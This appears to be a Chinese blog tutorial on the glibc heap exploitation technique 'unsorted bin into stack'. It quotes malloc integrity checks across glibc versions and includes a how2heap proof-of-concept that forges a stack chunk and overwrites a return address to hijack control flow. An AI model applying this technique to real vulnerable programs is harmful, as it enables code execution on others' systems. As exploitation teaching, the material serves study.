unsorted bin into stack

又没有例题( ̄、 ̄)

原理

实现效果为分配chunk到栈上
unsorted bin遍历过程中是用bin的bk指针寻找chunk的

1
while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))

从unsorted bin中摘下chunk的时候有以下寻址,所以victim->bk得是一个合法地址:

1
2
3
4
bck = victim->bk;
……
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

2.28增加了以下检查,所以要伪造bck的fd指针:

1
2
if (__glibc_unlikely (bck->fd != victim))
malloc_printerr ("malloc(): corrupted unsorted chunks 3");

2.29增加了next chunk的presize和size、preinuse检查,无法利用了(如果能在栈上找到合法的next chunk倒是能用,但可能性感觉不大)

1
2
3
4
5
6
7
if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
if (__glibc_unlikely (bck->fd != victim)
|| __glibc_unlikely (victim->fd != unsorted_chunks (av)))
malloc_printerr ("malloc(): unsorted double linked list corrupted");
if (__glibc_unlikely (prev_inuse (next)))
malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

利用

2.26以前

实验代码如下(来自how2heap):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <assert.h>

void jackpot(){ printf("Nice jump d00d\n"); exit(0); }

int main() {
intptr_t stack_buffer[4] = {0};
intptr_t* victim = malloc(0x110);
//victim的大小不能和buffer相同
intptr_t* p1 = malloc(0x100);

free(victim);

stack_buffer[1] = 0x100 + 0x10;
//伪造size
stack_buffer[3] = (intptr_t)stack_buffer;
//伪造victim->bk为任意合法可写地址

victim[1] = (intptr_t)stack_buffer;
//伪造bk指针使buffer链入unsorted bin

char *p2 = malloc(0x100);
//申请到buffer

intptr_t sc = (intptr_t)jackpot;
memcpy((p2+40), &sc, 8);

assert((long)__builtin_return_address(0) == (long)jackpot);
}

2.26到2.28

2.26有了tcache之后申请的chunk大小要超过tcache的范围,2.28要伪造栈上fake chunk的bk和fd指针

2.29以上

如果能伪造next chunk的presize和preinuse就能继续利用


unsorted bin into stack
http://akaieurus.github.io/2023/02/06/unsorted-bin-into-stack/
作者
Eurus
发布于
2023年2月6日
许可协议